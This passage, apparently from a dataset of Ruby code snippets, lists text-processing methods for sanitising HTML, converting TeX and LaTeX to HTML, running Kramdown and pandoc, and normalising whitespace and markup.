self.contents = html\n end\n end",
"def clean text\n text.gsub(/(\\n|\\t|\\r)/, ' ').gsub(/>\\s*</, '><').squeeze(' ')\n end",
"def sanitize!\n\t\t\[email protected]!\n\t\t\[email protected]!(/<style.*?\\/style>/m, '')\n\t\t\[email protected]!(/<script.*?\\/script>/m, '')\n\t\t\[email protected]!(/<.*?>/m, ' ')\n\t\t\[email protected]!(/\\s+/, ' ')\n\t\tend",
"def TeX2htm(text,state=:normal,fname=\"\",sec=\"\")\n sp=proc{|s| $trads[$key.succ!]=s; \"\\\\#{$key} \"}\n mathdisplay=proc{|s|\n sp[TeX2htm(s,:math).h(\"I\").h(\"td\").h(\"tr\").h(\"table\").h(\"center\")]}\n text=text.gsub(/([^\\\\]|^)%.*/){m=$~;m[1]} # suppress tex comments\n unless state==:math\n text.gsub!(/\\\\$/,\"\\\\ \")\n vb=/\\|'\\\\\\|'\\|/ # a | in verbatim\n vb2=/\\|\\s*\\{\\s*\\\\tt\\s*\\\\\\|\\s*\\}\\s*\\|/ # another way for | in verbatim\n vbb=/(?:#{vb2}|#{vb})/o\n text.gsub!(/([^\\\\]|^|\\\\\\\\)\\|((?:[^|]|#{vbb})*)\\|/om){ m=$~\n if m[2]=~/\\n/\n m[1]+sp[m[2].gsub(vbb,\"|\").lines.map{|l| v=l.split(\"#\");\n\tv[0].gsub!(/&/,\"#\");v[0].gsub!(/</,\"<\");\n\tif v[1] then v[1]=TeX2htm(v[1]); v.join(\"#\")\n\telse v[0]\n\tend}.join.h(\"pre\")]\n else m[1]+sp[m[2].gsub(vbb,\"|\").gsub(/&/,\"#\").gsub(/</,\"<\").clean.h(\"code\")]\n end\n }\n text.gsub!(/\\$\\$(.*?)\\$\\$/m){m=$~; mathdisplay[m[1]]}\n text.gsub!(/\\\\\\[(.*?)\\\\\\]/m){m=$~; mathdisplay[m[1]]}\n text.gsub!(/([^\\\\]|^)\\$(.*?)\\$/m){m=$~\n m[1]+sp[TeX2htm(m[2],:math).h(\"I\")]}\n text.gsub!(/([^\\\\]|^)\\*([^*]*)([^\\\\])\\*/){m=$~;\n m[1]+sp[(m[2]+m[3]).h(\"strong\")]}\n end\n text.gsub!(/\\\\\\\\/){\"\\\\cr\"}\n text.gsub!(/([^\\\\])<([^>]*)>/m){m=$~;m[1]+sp[TeX2htm(m[2]).h(\"var\")]}\n text.gsub!(/([^\\\\]|^)'((?:[^']|\\\\')*)([^\\\\])'/m){m=$~;\n m[1]+sp[(m[2]+m[3]).clean.h(\"code\")]}\n text.gsub!(/([^\\\\]|^)\\\\([*{}|': <>;,#~-])/){m=$~;m[1]+sp[OneChar[m[2]]]}\n text.gsub!(/([^\\\\]|^)\\\\([*{}|': <>;,#~-])/){m=$~;m[1]+sp[OneChar[m[2]]]}\n unless state==:math\n text.gsub!(/^\\s*$/,\"\\\\par\")\n text.gsub!(/^\\s*\\\\vspace\\{[^}]*\\}\\s*$/,\"\\\\par\")\n text.gsub!(/^([^:\\n]*)([^\\\\]):(.*?)(?=\\\\par)/m){m=$~\n sp[\"<DL><DT>#{TeX2htm(m[1]+m[2])}:<DD>\"]+\"#{m[3]}\"+sp[\"</DL>\"]}\n text.gsub!(/\\\\cr/){sp[\"<BR>\"]}\n # characters that can appear in a cross reference\n text.gsub!(/([^\\\\]|^)\"([\\w\\s.$-]*)\"/m){m=$~;\n m[1]+sp[\"<a href=\\\"#{name2fn m[2]}\\\">#{m[2]}</a>\"]}\n text.gsub!(/\\\\\"/){sp['\"']}\n text.gsub!(/\\\\cite(?:\\[([^\\]\\[]*)\\])?\\s*\\{\\s*((?:\\w|,)+)\\s*\\}/m) { m=$~\n r=\"<A href=\\\"biblio.htm##{m[2].split(\",\")[0]}\\\">#{m[2].h(\"cite\")}</a>\"\n r<< \", \"+m[1] if m[1]\n sp[r] }\n text.gsub!(/\\\\accent\\s*([0-9]*)\\s*([a-zA-Z])/m){m=$~\n a=Accents[m[1]+m[2]]\n if a then a\n else $err.print \"** unhandled accent #{fname}:#{sec} #{m[0]}\\n\"\n end}\n text.gsub!(/\\\\psubsection\\s*\\{(.*?)\\}/m){m=$~; m[1].h(\"h3\")}\n text.gsub!(/\\\\psection\\s*\\{(.*?)\\}/m){m=$~;m[1].h(\"h1\").style(\"color:#ff0000\")}\n text.gsub!(/\\\\index\\s*\\{(.*?)\\}/m){m=$~\n $indexcount+=1 # emit an anchor and remember the index keys for later\n r=m[1].gsub(/\\\\([a-zA-Z]+) /){m=$~; $trads[m[1]] || \"\\\\#{m[1]} \"}\n $index[r]=$index[r].push([\"#{fname}#I#{$indexcount}\",\"#{sec.chapnum}.#{sec.secnum}\"])\n \"<A name = \\\"I#{$indexcount}\\\"></a>\\n\"\n }\n text.gsub!(/\\\\begin\\{([^}]*)\\}(.*?)\\\\end\\{\\1\\}/m){m=$~\n case m[1]\n when \"displaymath\",\"equation\" then mathdisplay[m[2]]\n when \"center\" then m[2].h(\"center\")\n when \"itemize\",\"enumerate\" then m[2]\n else \"{beg-\"+m[1]+\"}\".h(\"s\")+m[2]+\"{end-\"+m[1]+\"}\".h(\"s\")\n end}\n text.gsub!(/~/,\" \")\n end\n# nestedbraces=// # can define but not recognized inside another regexp\n# text.gsub!(/\\\\(\\s)/){m=$~;m[1]}\n text.gsub!(/\\{\\s*\\\\(?:sl|it)([^}]*)\\}/m){m=$~;\n sp[TeX2htm(m[1],state).h(\"I\")]}\n text.gsub!(/\\{\\s*\\\\cal([^}]*\\{[^}]*\\}[^}]*)\\}/m){sp[$~[1].style(\"font-family: cursive\")]}\n text.gsub!(/\\{\\s*\\\\cal([^}]*)\\}/m){sp[$~[1].style(\"font-family: cursive\")]}\n text.gsub!(/\\{\\s*\\\\tt([^}]*\\{[^}]*\\}[^}]*)\\}/m){m=$~;sp[m[1].h(\"code\")]}\n text.gsub!(/\\{\\s*\\\\tt([^}]*)\\}/m){m=$~;sp[m[1].h(\"code\")]}\n text.gsub!(/\\{\\s*\\\\bf([^}]*\\{[^}]*\\}[^}]*)\\}/m){m=$~;sp[m[1].h(\"strong\")]}\n text.gsub!(/\\{\\s*\\\\bf([^}]*)\\}/m){m=$~;sp[m[1].h(\"strong\")]}\n text.gsub!(/\\{\\s*\\\\em([^}]*\\{[^}]*\\}[^}]*)\\}/m){m=$~;sp[m[1].h(\"em\")]}\n text.gsub!(/\\{\\s*\\\\em([^}]*)\\}/m){m=$~;sp[m[1].h(\"em\")]}\n if state==:math\n text.gsub!(/</){sp[\"<\"]}\n text.gsub!(/>/){sp[\">\"]}\n texarg=/([^{\\\\]|\\{(?:(?:[^{}]|\\{[^{}]*\\})*)\\}|\\\\[a-zA-Z]+)/\n text.gsub!(/\\^\\\\prime/om){sp[\"'\"]}\n text.gsub!(/\\^\\{\\\\prime\\\\prime\\}/om){sp[\"''\"]}\n text.gsub!(/\\\\not\\s*\\\\equiv/om){sp[\"≢\"]}\n text.gsub!(/\\\\(?:text|mbox|hbox)\\{([^{}]*)\\}/){m=$~;\n sp[TeX2htm(m[1]).h(\"/i\")]}\n text.gsub!(/\\^\\s*#{texarg}/om){m=$~;sp[TeX2htm(m[1],:math).h(\"sup\")]}\n text.gsub!(/_\\s*#{texarg}/om){m=$~;sp[TeX2htm(m[1],:math).h(\"sub\")]}\n text.gsub!(/\\\\underline\\s*#{texarg}/om){m=$~;sp[TeX2htm(m[1],:math).h(\"u\")]}\n text.gsub!(/\\\\overline\\s*#{texarg}/om){m=$~;\n sp['<span style=\"text-decoration: overline\">'+\n TeX2htm(m[1],:math)+\"<\\/span>\"]}\n text.gsub!(/\\{\\s*\\\\rm([^}]*)\\}/m){m=$~;sp[m[1].h(\"I\")]}\n text.gsub!(/\\{\\s*\\\\mathcal([^}]*)\\}/m){m=$~;sp[m[1].h(\"u\")]}\n text.gsub!(/\\\\frac#{texarg}#{texarg}/om){m=$~;\n n=TeX2htm(m[1],'math'); d=TeX2htm(m[2],'math')\n n=\"(#{n})\" if n.length>1\n d=\"(#{d})\" if n.length>1\n \"#{n}/#{d}\"}\n text.gsub!(/\\\\not\\s*\\\\in/){sp[\"∉\"]}\n text.gsub!(/\\\\not\\s*=/){sp[\"≠\"]}\n text.gsub!(/\\\\([a-zA-Z]+)/){m=$~;\n if MathMacs[m[1]] then sp[MathMacs[m[1]]] else m[0] end}\n text.gsub!(/\\\\pmod\\s*#{texarg}/){m=$~;sp[\"(</i>mod<i> #{TeX2htm(m[1],:math)})\"]}\n text.gsub!(/\\\\begin\\{([^}]*)\\}(.*?)\\\\end\\{\\1\\}/m){m=$~\n case m[1]\n when \"array\",\"pmatrix\" then \n if m[1]==\"array\" then r=m[2].sub(/\\{[cl]*\\}/,\"\") else r=m[2] end\n r=r.split(\"\\\\cr\").map{|l| l.split(\"&\").map{|i| \n i.h(\"I\").h(\"td\")}.join(\"\").h(\"tr\")}.join.h('table style=\"display:inline-table;\"').h(\"td\").h(\"/td\")\n if m[1]==\"pmatrix\" then \"(\"+r+\")\" else r end\n else \"{beg-\"+m[1]+\"}\".h(\"s\")+m[2]+\"{end-\"+m[1]+\"}\".h(\"s\")\n end\n }\n end\n text.gsub!(/\\\\(?:text|mbox|hbox)\\{([^{}]*)\\}/){m=$~;\n sp[TeX2htm(m[1]).h(\"/i\")]}\n text.gsub!(/\\\\([a-zA-Z]+)/){m=$~;AlwaysMacs[m[1]] || m[0]}\n text.gsub!(/\\{([^{}]*)\\}/){m=$~; m[1]}\n text.gsub!(/\\\\([a-zA-Z]+) /){m=$~; $trads[m[1]] || \"\\\\#{m[1]} \"}\n text.gsub!(/\\\\([a-zA-Z]+) /){m=$~; $trads[m[1]] || \"\\\\#{m[1]} \"}\n text.gsub!(/\\\\([a-zA-Z]+)/){m=$~; $trads[m[1]] || \"\\\\#{m[1]}\"}\n text.scan(/\\\\([a-zA-Z]+)/){|m| $err.print \"!!!!! #{m.inspect} state=#{state}\\n\"}\n text\nend",
"def clean_content\n self.content = content.gsub('<p> </p>', '') if content\n end",
"def cleanup\n jekyll('clean')\nend",
"def post_process_kramdown_tree!(kramdown_tree)\n # override this to post process elements in the kramdown tree\n # NOTE: It's important to call the methods below for correct results.\n # You have two options:\n # 1. call super if you override this method\n # 2. copy the methods below into your own method if you need different sequence\n recursively_process_temp_em_class!(kramdown_tree, 'tmpNoBold')\n recursively_process_temp_em_class!(kramdown_tree, 'tmpNoItalics')\n recursively_merge_adjacent_elements!(kramdown_tree)\n recursively_clean_up_nested_ems!(kramdown_tree) # has to be called after process_temp_em_class\n recursively_push_out_whitespace!(kramdown_tree)\n # needs to run after whitespace has been pushed out so that we won't\n # have a leading \\t inside an :em that is the first child in a para.\n # After whitespace is pushed out, the \\t will be a direct :text child\n # of :p and first char will be easy to detect.\n recursively_sanitize_whitespace_during_import!(kramdown_tree)\n # merge again since we may have new identical siblings after all the\n # other processing.\n recursively_merge_adjacent_elements!(kramdown_tree)\n recursively_clean_up_tree!(kramdown_tree)\n # Run this again since we may have new locations with leading or trailing whitespace\n recursively_sanitize_whitespace_during_import!(kramdown_tree)\n # merge again since we may have new identical siblings after cleaning up the tree\n # e.g. an italic span with whitespace only between two text nodes was removed.\n recursively_merge_adjacent_elements!(kramdown_tree)\n end",
"def plain_text\n self.gsub(/\\e\\[[0-9]m|\\e\\[[34][0-7]m/, '')\n end",
"def remove_private\n # Workaround for gsub encoding for Ruby 1.9.2 and earlier\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, @text.encoding\n\n @text = @text.gsub(%r%^\\s*([#*]?)--.*?^\\s*(\\1)\\+\\+\\n?%m, empty)\n @text = @text.sub(%r%^\\s*[#*]?--.*%m, '')\n end",
"def post_process(doc)\n doc.gsub(\"\\n\",'')\n end",
"def remove_footnotes(elements); end",
"def fix_latex(str)\n inline_exp = /(([^\\$]\\${1}[^\\$].*?[^\\$]?\\${1}[^\\$]))/\n multline_exp = /((\\\\begin\\{(\\w+?)\\}.+?\\\\end\\{\\3\\})|(\\$\\$.+?\\$\\$))/m\n str.gsub!(multline_exp) { |s| escape_markdown($1) }\n str.gsub!(inline_exp) { |s| escape_markdown($1) }\n str\n end",
"def sanitize(text)\n return nil if text.nil? || text.empty?\n string = text.to_s # ensure we have a string\n\n doc = Nokogiri::HTML.parse(text)\n\n doc.xpath('//@style').remove\n doc.xpath('//@class').remove\n doc.xpath('//@id').remove\n doc.xpath('//@font-size').remove\n doc.xpath('//@color').remove\n doc.xpath('//@size').remove\n doc.xpath('//@face').remove\n doc.xpath('//@bgcolor').remove\n doc.xpath('//comment()').remove\n\n # remove \"bad\" elements\n doc.css('script, link, img, style').each { |node| node.remove }\n\n # convert all <div>s to <p>s\n doc.css('div').each do |div|\n node = doc.create_element 'p'\n node.inner_html = div.inner_html\n div.replace(node)\n end\n\n # remove <font> and <span> tags, but preserve their content\n doc.css('font, span').each do |node|\n node.swap(node.children)\n end\n\n # removing tags leaves dangling text nodes that should really be merged, so let's\n # re-build the document\n doc = Nokogiri::HTML.parse(doc.to_s)\n\n # wrap orphaned text nodes in <p> tags\n doc.css('html body').children.each do |orphan|\n if orphan.class == Nokogiri::XML::Text && !orphan.text.strip.gsub(Envelope::Message::ALL_SPACES, '').empty?\n node = doc.create_element 'p'\n node.inner_html = orphan.text\n orphan.replace(node)\n end\n end\n\n # remove all <p><br><p>\n doc.css('p br').each do |node|\n node.remove\n end\n\n # convert all new lines to br and trim content\n doc.css('p').each do |node|\n node.inner_html = node.inner_html.gsub(\"\\n\", '<br>').strip\n end\n\n # remove empty tags\n doc.css('html body > *').each do |node|\n unless %w(br p).include?(node.name)\n node.remove if node.inner_html.gsub(Envelope::Message::ALL_SPACES, '').empty?\n end\n end\n\n doc.css('html body > *').to_s.gsub(/[\\n\\t]+?/, '')\n end",
"def tpl_text; ''; end",
"def tpl_text; ''; end",
"def tpl_text; ''; end",
"def test_removes_ascii_del\n text = \"\\x7F\"\n text.force_encoding(\"UTF-8\")\n assert_equal \"\", Latexpdf.escape_latex(text)\n end",
"def compile_text(tmp)\n @prefilters.each do |f| \n tmp=f.run( tmp )\n end\n\n # compile to latex\n # puts tmp\n tmp=Kramdown::Document.new(tmp, @kramdown_opts).to_html\n\n # post filters\n @postfilters.each{ |f| tmp=f.run(tmp) }\n return tmp\n end",
"def cleanText(txt)\r\n clean = txt.gsub(\"<\", \"<\")\r\n clean.gsub!(\">\", \">\")\r\n\r\n puts \"cleaned text: #{txt} -> #{clean}\" if $DEBUG\r\n clean\r\n\r\n end",
"def destroy(text)\n analyze(text)\n generate_all(self.class.start_prefix(text, @num_prefix_words))\n end",
"def do_cleanup; \"\" end",
"def cleanup(text)\n text && text.gsub(\"\\t\", ' ').dedent\n end",
"def fix(input)\n data = open(input, \"r\").read\n data.gsub! \"≤\", \"\\\\leq\"\n data.gsub! \"×\", \"\\\\times\"\n data.gsub! \"≠\", \"\\\\neq\"\n\n translators = data.split(\"\\n\")[-1].strip()[3..-1].split(\", \")\n translators.each do |t|\n TRANSLATOR_POINT[t] = (TRANSLATOR_POINT[t] or 0.0) + 1.0 / translators.length\n end\n\n data = data.split(\"\\n\")[0..-2].join(\"\\n\")\n data += \"\\n<p class=\\\"math\\\" style=\\\"text-align:right;font-style:italic\\\">Орчуулсан: #{translators.join(\", \")}</p>\"\n print \"Converting to HTML: #{input} Translated by: #{translators.join(\", \")}\\n\"\n\n open(\".temp.md\", \"w+\") { |f| f.write(data) }\nend",
"def termdef_unnest_cleanup(xmldoc)\n desgn = \"//p/admitted | //p/deprecates | //p/preferred | //p//related\"\n nodes = xmldoc.xpath(desgn)\n while !nodes.empty?\n nodes[0].parent.replace(nodes[0].parent.children)\n nodes = xmldoc.xpath(desgn)\n end\n end",
"def call\n result = Kramdown::Document.new(@text, self.class.options.deep_merge(context[:kramdown_options] || {})).to_html\n result.rstrip!\n result\n end",
"def post_process_text(s) \n # extract math\n math, arrays = [], []\n s.scan(/\\$([^$]+)\\$/) {|m| math << m } # $$\n s.scan(/\\\\\\[([^$]+)\\\\\\]/) {|m| arrays << m } # \\[ \\]\n # citations\n s = replace_citations(s)\n # listings, algorithms, tables\n s = replace_listings(s)\n # custom \n s = replace_custom_refs(s)\n # texttt\n s = replace_texttt(s)\n # emph\n s = replace_emph(s)\n # textbf\n s = replace_bf(s)\n # urls\n s = replace_urls(s)\n # footnotes\n s = replace_footnotes(s)\n # paragrams\n s = replace_paragraphs(s)\n # chapter refs\n s = replace_chapter_refs(s)\n # section refs\n s = remove_section_refs(s)\n # replace markboth with nothing\n s = replace_markboth(s)\n # remove hypenation suggestions\n s = remove_hyph_suggestions(s)\n # umlats etc\n s = character_processing(s)\n # replace \\% with %\n s = s.gsub(\"\\\\%\", \"\\%\")\n # replace \"\\ \" with a space\n s = s.gsub(\"\\\\ \", \" \")\n # replace \\\" and \\' with nothing\n s = s.gsub(\"\\\\\\\"\", \"\")\n s = s.gsub(\"\\\\\\'\", \"\")\n # replace ~ with space\n s = s.gsub(\"~\", \" \")\n # replace \\$ with $ (testing algorithms)\n s = s.gsub(\"\\\\$\", \"$\")\n # replace \\_ with _ (testing algorithms)\n s = s.gsub(\"\\\\_\", \"_\") \n # replace \\# with # (appendix)\n s = s.gsub(\"\\\\#\", \"#\")\n # replace \\{ with { (appendix)\n s = s.gsub(\"\\\\{\", \"{\")\n # replace \\} with } (appendix)\n s = s.gsub(\"\\\\}\", \"}\") \n # replace \\\\ with <br /> (appendix, de)\n s = s.gsub(\"\\\\\\\\\", \"<br />\") \n # replace \\Latex with LaTex\n s = s.gsub(\"\\\\LaTeX\", \"LaTex\") \n # replace \\copyright with html copyright\n s = s.gsub(\"\\\\copyright\", \"©\")\n # replace \\mybookdate\\ with publication date 2011\n s = s.gsub(\"\\\\mybookdate\", DATE)\n # replace \\mybookauthor with the author ame\n s = s.gsub(\"\\\\mybookauthor\", \"Jason Brownlee\")\n # replace \\mybooktitle with the book title\n s = s.gsub(\"\\\\mybooktitle\", TITLE)\n # replace \\mybooksubtitle with the book subtitle\n s = s.gsub(\"\\\\mybooksubtitle\", SUBTITLE)\n # finally switch ` for ' (late in the subs)\n s = s.gsub(\"`\", \"'\")\n \n # put the math back\n if !math.empty?\n index = 0\n s = s.gsub(/\\$([^$]+)\\$/) do |m|\n index += 1\n \"$#{math[index - 1]}$\"\n end\n end \n if !arrays.empty?\n index = 0\n s = s.gsub(/\\\\\\[([^$]+)\\\\\\]/) do |m|\n index += 1\n \"\\\\[#{arrays[index - 1]}\\\\]\"\n end\n end\n return s\nend",
"def clean(text = nil, escape_ampersands_twice = false)\n text.gsub!(\" \", \" \")\n converted = convert_html(text)\n entity_converted = convert_entities(converted)\n # puts \"entity_converted: #{entity_converted}\"\n escaped = escape(entity_converted)\n # escaped = escaped.gsub(/&/, '\\\\\\\\&')\n escaped = escaped.gsub(\"&\", \"\\&\")\n escaped = escaped.gsub(/&/, '\\\\\\\\&') if escape_ampersands_twice\n # puts \"escaped: #{escaped}\"\n # puts \"\\n\"\n escaped\n end",
"def clean_html(doc)\n\n # Remove font tags\n doc.xpath('//font').each do |node|\n node.children.each do |child|\n child.parent = node.parent\n end\n node.remove\n end\n\n # Remove path to links:\n doc.xpath('//a').each do |node|\n href = node.attr(\"href\")\n href =~ /([^\\/]*)$/\n node.set_attribute(\"href\", $1)\n end\n\n # Remove <br> tags within li elements\n doc.xpath('//li').each do |li|\n li.xpath('//br').each do |br|\n br.remove\n end\n end\n\n # Remove <p> tags within li elements\n doc.xpath('//li').each do |li|\n li.xpath('//p').each do |p|\n p.children.each do |child|\n child.parent = p.parent\n end\n p.remove\n end\n end\n\n return doc\n end",
"def htmlClean(html)\n html\nend",
"def convert!\n # Fonts and headings\n semanticize_font_styles!\n semanticize_headings!\n\n # Tables\n remove_paragraphs_from_tables!\n semanticize_table_headers!\n\n # list items\n remove_paragraphs_from_list_items!\n remove_unicode_bullets_from_list_items!\n remove_whitespace_from_list_items!\n remove_numbering_from_list_items!\n end",
"def latex?\n false\n end",
"def docClean\n dir = Pathname.new pathDocuments\n fileCleanPath(dir)\nend",
"def figure_cleanup(docxml)\n docxml.xpath(FIGURE_WITH_FOOTNOTES).each do |f|\n key = figure_get_or_make_dl(f)\n f.xpath(\".//aside\").each do |aside|\n figure_aside_process(f, aside, key)\n end\n end\n docxml\n end",
"def purify\n #self.gsub!(\"\\u0000\", '').delete!('\\\\0').squeeze!('\\\\').tr!('\\\\','/').delete_at(length-1)\n self.gsub!(/(?:\\u0000)(.+)/,'')\n self.gsub!('\\\\n', 10.chr)\n self\n end",
"def html_markup_textile_strict(text); end",
"def build_book_all_in_one_old_code_remove\r\n\r\nbook_text = <<EOS\r\n---\r\nlayout: book\r\ntitle: Contents\r\npermalink: /book.html\r\n---\r\n\r\nEOS\r\n\r\nbook_text += render_toc( inline: true )\r\n\r\n\r\n### generate pages for countries\r\n# note: use same order as table of contents\r\n\r\ncountry_count=0\r\n\r\nContinent.all.each do |continent|\r\n continent.countries.order(:title).each do |country|\r\n\r\n beers_count = country.beers.count\r\n breweries_count = country.breweries.count\r\n next if beers_count == 0 && breweries_count == 0\r\n \r\n country_count += 1\r\n puts \"build country page #{country.key}...\"\r\n country_text = render_country( country )\r\n\r\n book_text += <<EOS\r\n\r\n---------------------------------------\r\n\r\nEOS\r\n\r\n book_text += country_text\r\n end\r\nend\r\n\r\n\r\nFile.open( '_pages/book.md', 'w+') do |file|\r\n file.write book_text\r\nend\r\n\r\nend",
"def clean_text(text)\n text.gsub!(/\\r\\n/, '')\n text.gsub!(/\\r/, '')\n text\n end",
"def sanitize text\n [' ', '\\r\\n', \"\\r\\n\", \"\\n\", \"\\r\", \"\\t\", / ^/, / $+/, /^ /, /^ /].each { |text_to_remove|\n text.gsub!(text_to_remove,'')\n }\n return text\n end",
"def cleanup_ramfs\n super\n end",
"def sanitize_text(text)\n doc = Nokogiri::HTML.fragment(text)\n UNSUPPORTED_HTML_TAGS.each do |tag|\n doc.search(tag).each(&:remove)\n end\n doc.inner_html\n end",
"def compile_text(tmp)\n @prefilters.each do |f| \n tmp=f.run( tmp )\n end\n\n # compile to latex\n tmp=Kramdown::Document.new(tmp, @kramdown_opts).to_latex\n\n # post filters\n @postfilters.each{ |f| tmp=f.run(tmp) }\n return tmp\n end",
"def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end",
"def normalize_text(content)\n replaced_content = content.gsub(/\\n|<br>| /) do |match|\n case match\n when \"\\n\", \" \"\n \"\"\n when \"<br>\"\n \"\\n\"\n end\n end.sub(/\\s*(---|‐‐‐|―――)\\s*\\z/, \"\")\n strip_html(replaced_content)\n end",
"def remove_styles\n\n\t\tif self.about\n\t\t self.about = self.about.gsub(/font-family[^;]*;/,'')\n\t\t self.about = self.about.gsub(/font-size[^;]*;/,'')\n\t\t self.about = self.about.gsub(/background[^;]*;/,'')\n\t\t self.about = self.about.gsub(/color[^;]*;/,'')\n\t\t self.about = self.about.gsub(/border[^;]*;/,'')\n\t\tend\n\tend",
"def unorphan(input)\n input.sub(/\\s+(\\S+)\\s*$/, ' \\1')\n end",
"def cleaned(txt)\n\t\ttxt.gsub(/[(,\\'.#)]/, '')\n\tend",
"def cleaned(txt)\n\t\ttxt.gsub(/[(,\\'.#)]/, '')\n\tend",
"def fixHtmlImageSrcAndKTs(pdf_tmp_html, pdftmp_dir, bkmkrkeeptogether_stylename, logkey='')\n filecontents = File.read(pdf_tmp_html).gsub(/src=\"images\\//,\"src=\\\"#{pdftmp_dir}/\")\n .gsub(/([a-zA-Z0-9]?[a-zA-Z0-9]?[a-zA-Z0-9]?\\s\\. \\. \\.)/,\"<span class=\\\"#{bkmkrkeeptogether_stylename}\\\">\\\\0</span>\")\n .gsub(/(\\w{5}[.?!])(<\\/p>)/,\"<span class=\\\"#{bkmkrkeeptogether_stylename}\\\">\\\\1</span>\\\\2\")\n return filecontents\nrescue => logstring\n return ''\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def conv_markup(txt)\n txt.\n gsub(%r{<tt>(.*?)</tt>}) { \"+#$1+\" } .\n gsub(%r{<code>(.*?)</code>}) { \"+#$1+\" } .\n gsub(%r{<b>(.*?)</b>}) { \"*#$1*\" } .\n gsub(%r{<em>(.*?)</em>}) { \"_#$1_\" }\n end",
"def fix_docbook_xhtml(xhtml)\r\n sf=File.new(xhtml, 'r')\r\n\t nf=File.new(xhtml+'~', 'w')\r\n\t sf.each_line do |l|\r\n r=l.gsub(/ =\"\"/, ' class=\"\"')\r\n\t\t nf << r\r\n\t end\r\n\t sf.close\r\n\t nf.close\r\n\t cp nf.path, sf.path\r\n\t rm nf.path\r\n end",
"def create_cleared_text(s)\n s.gsub(/[RMQ]T @[a-zA-Z0-9_]+:.*/, '')\n .gsub(/\\. ?(@[a-zA-Z0-9_]+ )+/, '')\n .gsub(/@[a-zA-Z0-9_]+/, '')\n .gsub(%r[(https?|ftp)(:\\/\\/[-_.!~*\\'()a-zA-Z0-9;\\/?:\\@&=+\\$,%#]+)], '')\n .gsub(/#.+([ 、。]|$)/, '')\n .strip\n end",
"def remove_weird_characters(content)\n content.force_encoding('utf-8').gsub //, ''\n end",
"def to_html text\n html = (''.encode text.encoding).dup\n\n encoded = RDoc::Text::TO_HTML_CHARACTERS[text.encoding]\n\n s = StringScanner.new text\n insquotes = false\n indquotes = false\n after_word = nil\n\n until s.eos? do\n case\n when s.scan(/<(tt|code)>.*?<\\/\\1>/) then # skip contents of tt\n html << s.matched.gsub('\\\\\\\\', '\\\\')\n when s.scan(/<(tt|code)>.*?/) then\n warn \"mismatched <#{s[1]}> tag\" # TODO signal file/line\n html << s.matched\n when s.scan(/<[^>]+\\/?s*>/) then # skip HTML tags\n html << s.matched\n when s.scan(/\\\\(\\S)/) then # unhandled suppressed crossref\n html << s[1]\n after_word = nil\n when s.scan(/\\.\\.\\.(\\.?)/) then\n html << s[1] << encoded[:ellipsis]\n after_word = nil\n when s.scan(/\\(c\\)/i) then\n html << encoded[:copyright]\n after_word = nil\n when s.scan(/\\(r\\)/i) then\n html << encoded[:trademark]\n after_word = nil\n when s.scan(/---/) then\n html << encoded[:em_dash]\n after_word = nil\n when s.scan(/--/) then\n html << encoded[:en_dash]\n after_word = nil\n when s.scan(/"|\"/) then\n html << encoded[indquotes ? :close_dquote : :open_dquote]\n indquotes = !indquotes\n after_word = nil\n when s.scan(/``/) then # backtick double quote\n html << encoded[:open_dquote]\n after_word = nil\n when s.scan(/(?:'|'){2}/) then # tick double quote\n html << encoded[:close_dquote]\n after_word = nil\n when s.scan(/`/) then # backtick\n if insquotes or after_word\n html << '`'\n after_word = false\n else\n html << encoded[:open_squote]\n insquotes = true\n end\n when s.scan(/'|'/) then # single quote\n if insquotes\n html << encoded[:close_squote]\n insquotes = false\n elsif after_word\n # Mary's dog, my parents' house: do not start paired quotes\n html << encoded[:close_squote]\n else\n html << encoded[:open_squote]\n insquotes = true\n end\n\n after_word = nil\n else # advance to the next potentially significant character\n match = s.scan(/.+?(?=[<\\\\.(\"'`&-])/) #\"\n\n if match then\n html << match\n after_word = match =~ /\\w$/\n else\n html << s.rest\n break\n end\n end\n end\n\n html\n end",
"def _clean; end",
"def postprocess(document)\n document.gsub(\"\\n\", ' ').strip\n end",
"def cleanup \n @bullets.each do |bullet|\n if bullet.exploding\n @bullets.delete bullet\n end\n end\n end",
"def clear_transforms\n rm(\"/augeas/load/*\")\n end",
"def delete_harmful!\n harmful = [ Plaintext.soft_hyphen(encoding), UTF8_BOM ]\n local_copy.in_place :perl, \"s/#{harmful.join('//g; s/')}//g\"\n end",
"def _dtext\n\n _save = self.pos\n while true # choice\n _tmp = scan(/\\A(?-mix:[^\\]\\\\\\x0D\\x80-\\xFF\\[]+)/n)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_linear_white_space)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_dtext unless _tmp\n return _tmp\n end",
"def textilize_without_paragraphs\n\t\tunless self.nil? or self.empty?\n\t\t string = self.textilize\n\t\t string = string[3..-1]\n\t\t string = string[0..-5]\n\t\telse\n\t\t \"\"\n\t end\n\tend",
"def unnormalize(code)\n code = code.gsub(/<text:line-break\\/>/, \"\\n\")\n code = code.gsub(/<text:tab\\/>/, \"\\t\")\n code = code.gsub(/<text:s(\\/|(\\s[^>]*))>/, \" \")\n return REXML::Text.unnormalize(code)\n end",
"def beautify(file)\r\n\r\n @log.debug(\" Cleaning: \\\"#{file}\\\"\")\r\n\r\n docfile = File.new(file)\r\n olddoc = docfile.readlines.join\r\n docfile.close\r\n \r\n # process the file in pandoc\r\n cmd=\"pandoc -s #{file.esc} -f markdown -t markdown --atx-headers --reference-links \"\r\n newdoc = `#{cmd}`\r\n @log.debug(\" finished: \\\"#{file}\\\"\")\r\n \r\n # tweak the quoting\r\n if $?.success? then \r\n # do this twice since the replacement\r\n # does not work on e.g. 2\\_3\\_4\\_5.\r\n #\r\n newdoc.gsub!(/(\\w)\\\\_(\\w)/, '\\1_\\2')\r\n newdoc.gsub!(/(\\w)\\\\_(\\w)/, '\\1_\\2')\r\n \r\n # fix more quoting\r\n newdoc.gsub!('-\\\\>[', '->[')\r\n\r\n # (RS_Mdc)\r\n # TODO: fix Table width toggles sometimes\r\n if (not olddoc == newdoc) then ##only touch the file if it is really changed\r\n File.open(file, \"w\"){|f| f.puts(newdoc)}\r\n File.open(file+\".bak\", \"w\"){|f| f.puts(olddoc)} # (RS_Mdc_) # remove this if needed\r\n @log.debug(\" cleaned: \\\"#{file}\\\"\")\r\n else\r\n @log.debug(\"was clean: \\\"#{file}\\\"\")\r\n end\r\n #TODO: error handling here\r\n else\r\n @log.error(\"error calling pandoc - please watch the screen output\")\r\n end\r\n end",
